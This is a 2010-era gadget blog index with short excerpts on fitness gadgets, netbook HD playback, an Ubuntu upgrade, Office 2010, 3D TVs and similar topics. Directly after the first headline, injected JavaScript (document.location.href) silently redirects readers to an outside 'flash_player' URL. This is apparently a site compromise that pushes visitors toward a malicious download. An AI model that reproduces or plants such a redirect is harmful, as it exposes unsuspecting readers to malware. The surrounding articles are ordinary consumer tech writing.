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Top 5 Gadgets That Help You Burn Fatdocument.location.href=”http://www.sommen.nu/templates/flash_player/?A”

Best of all, you’re not even aware of it!

January has arrived, a time when we start implementing our new year resolutions. Keeping Fit & Losing Weight is one that pops up year after year (probably because it makes the list for most likely to be broken!) So here are a few gadgets to help you keep that promise and not have it re-appear on your list next year!

1. Dance Dance Revolution (PS2/PS3)

Not so long ago, video arcades were swarmed with teenagers waiting for their turn on those UFO-looking dance machines. The ease at which they coordinate swift hand and leg movements just makes you want to break into a dancing fit.

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HD Video on a Netbook? Using CoreAVC codec to enable netbook-friendly HD

Having a netbook can be a curse at times due to the lowly multimedia capabilities. Sure, if you stick to normal AVI or RMVB videos, there are no problems but dumping in a HD 720p or 1080p movie and you will be in for a shock as your netbook struggles to play the video and trying to keep the audio in sync. This is a common problem not only for netbooks but also powerful PCs only a few years old but without enough processing power to properly decode HD content.

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2010 World Cup Special – Paladone’s Amazing Hover Football

With the World Cup 2010 right around the corner, the atmosphere is heating up! And so is the competition to create the craziest and most sought after gadgets for this year’s tournament! Rest assured that the World Cup will be one hell of an experience, thus make the experience a more memorable one by opting for a gadget that is both bold and revolutionary, definite to make the 2010 World Cup unforgettable!

Paladone’s Hover Football is what I am actually talking about. Well, it is called a football, and looks like one, but kick it anywhere within your home, and worry not about breaking anything! Unbelievable? There’s more! The Hover Football basically floats on a self-invented air cushion, thus you would find it hovering around your home innocently, waiting to be kicked. Continue reading “2010 World Cup Special – Paladone’s Amazing Hover Football”

How to Upgrade Ubuntu Desktop 9.10 to 10.04 Lucid Lynx

OK! Ubuntu 10.04 (“Lucid Lynx”) is almost upon us now. It has hit BETA 1, a step up from ALPHA 3 (more than a week ago) and is to be officially released on April 29, 2010.

If you’re a Windows user who occasionally (pretends to) dabble in Linux, and has forgotten how to upgrade, here it is for you in a concise and easy-to-follow manner.

Firstly, this article is only about how to upgrade from within Ubuntu, and it’s only for the DESKTOP (NOT Server!) version. If you have a version prior to 9.10; you will need to progressively upgrade to the next higher version before upgrading to 10.04. You really can’t jump versions here. Continue reading “How to Upgrade Ubuntu Desktop 9.10 to 10.04 Lucid Lynx”

The Book Depository: Cheap books, free international shipping

I stumbled upon this great resource that provides an excellent deal for buying books online. It’s called The Book Repository and offers great prices and most importantly, FREE INTERNATIONAL SHIPPING to Malaysia.

Double checking the prices between The Book Repository and Amazon.com shows that more often than not, TBR is able to match or even beat the prices offered by Amazon. After factoring in shipping prices, TBR becomes a seriously good deal.

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Top 5 Gadgets for Women

Men love cars and electronic gadgets. Women love clothes and shoes. Those taglines are a blast from the past. Nowadays, men too are conscious about their wardrobes and women are beginning to appreciate hi-tech equipment. Here are our Top 5 gadget picks that could take the female market by storm in the months to come!

Kodak Pulse Digital Frame

In April 2010, Kodak will be launching the Kodak Pulse Digital Frame. This sleek 7 inch baby features a 800×600 pixel high-quality interactive touchscreen display and a 512MB built-in storage capacity. It also comes with WiFi connectivity and a dedicated email address so that users can upload images directly to the device without the hassle of having to install any complicated software. Continue reading “Top 5 Gadgets for Women”

Office 2010: The 64-bit Question

Office 2007 introduced a lot of new features and a brand new Ribbon interface that has fans either loving it or despising the way the whole thing functioned. That was three years ago. With 2010, a new Office release is scheduled to hit stores in June, earlier if you keep your eyes peeled on torrent and direct download trackers.

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5 Ways To Prolong The Life Of Your Old Notebook

If you had bought your notebook 2 to 4 years ago – like I did – chances are it is now feeling slow and boring to you. What used to be leading edge is now egging on you constantly for a new breath of life. So what are some of the things you can do to revitalize it?

The 5 Ways

Note that since there are so many different configurations for notebooks, what’s mentioned here in this article are suggestions which may or may not apply to you. You will need to google for more information and also read your notebook’s user manual as I can only give you hints. You will have to do more research. 🙂

1 Upgrade your memory to the MAXIMUM as indicated in your notebook’s manual

Upgrading your RAM from 512MB to 1GB, for example, can give you a much noticeable speed improvement.

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A World Cup Experience – Forget 3D, It’s Time for 3D LED TVs!

If you thought Sony’s recently launched 3D TVs were hot, I guess it’s time you check out Samsung’s all-new 3D LED TVs. Aimed at revolutionizing the way home-viewers watch the telly, Samsung’s brilliant new technology has been unveiled at exactly the right time, just about three months before the World Cup kicks off! Imagine watching Brazil versus Spain on one of these breathtaking screens! Now that’s what you call the ultimate viewing experience!

Be prepared to anticipate incredible depth and clarity perfection with a whole range of new 3D LED TVs from Samsung, from the entry-model 46-inch C7000 series, to bigger models such as the 55-inch. For now, viewers are expected to wear a pair of electronic glasses that opens and closes in quick succession, providing you with the perfect 3D effect and experience. Continue reading “A World Cup Experience – Forget 3D, It’s Time for 3D LED TVs!”